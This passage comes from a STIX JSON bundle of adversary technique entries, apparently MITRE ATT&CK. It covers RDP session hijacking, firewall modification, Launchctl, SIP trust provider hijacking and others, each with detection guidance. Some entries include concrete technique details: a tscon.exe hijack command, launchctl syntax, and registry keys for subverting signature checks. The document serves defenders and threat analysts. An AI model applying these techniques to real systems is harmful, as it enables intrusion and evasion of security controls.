                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:32.038Z",
            "name": "Remote Desktop Protocol",
            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41",
            "created": "2020-10-02T17:03:45.918Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597/001",
                    "external_id": "T1597.001"
                },
                {
                    "source_name": "D3Secutrity CTI Feeds",
                    "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.",
                    "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:16:02.261Z",
            "name": "Threat Intel Vendors",
            "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
            "created": "2017-05-31T21:30:25.159Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1011",
                    "external_id": "T1011"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:29:20.961Z",
            "name": "Exfiltration Over Other Network Medium",
            "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
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            "x_mitre_platforms": [
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                "macOS",
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            "created": "2020-10-20T00:08:21.745Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1602/002",
                    "external_id": "T1602.002"
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                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
            "created": "2020-10-02T14:54:59.263Z",
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                    "url": "https://attack.mitre.org/techniques/T1589",
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                    "source_name": "OPM Leak",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                    "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
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                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                    "url": "https://github.com/dxa4481/truffleHog"
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                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
                    "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
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                {
                    "source_name": "Register Uber",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
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                    "source_name": "GitHub Gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                    "url": "https://github.com/michenriksen/gitrob"
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                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
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                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
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                    "source_name": "Forbes GitHub Creds",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
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                    "source_name": "Register Deloitte",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
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            "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
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                    "source_name": "Microsoft GetWindowLong function",
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                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
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                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1562/004",
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                    "source_name": "Broadcom ESXi Firewall",
                    "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
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                    "source_name": "Huntress BlackCat",
                    "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.",
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                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
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                    "source_name": "change_rdp_port_conti",
                    "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
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            "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)",
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            "modified": "2025-04-15T21:50:30.319Z",
            "name": "Archive Collected Data",
            "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Script: Script Execution",
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1152",
                    "external_id": "T1152"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:33.022Z",
            "name": "Launchctl",
            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
            "created": "2020-02-05T19:34:04.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/003",
                    "external_id": "T1553.003"
                },
                {
                    "source_name": "Entrust Enable CAPI2 Aug 2017",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
                },
                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                },
                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:31.965Z",
            "name": "SIP and Trust Provider Hijacking",
            "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "created": "2019-02-18T17:22:57.831Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1483",
                    "external_id": "T1483"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
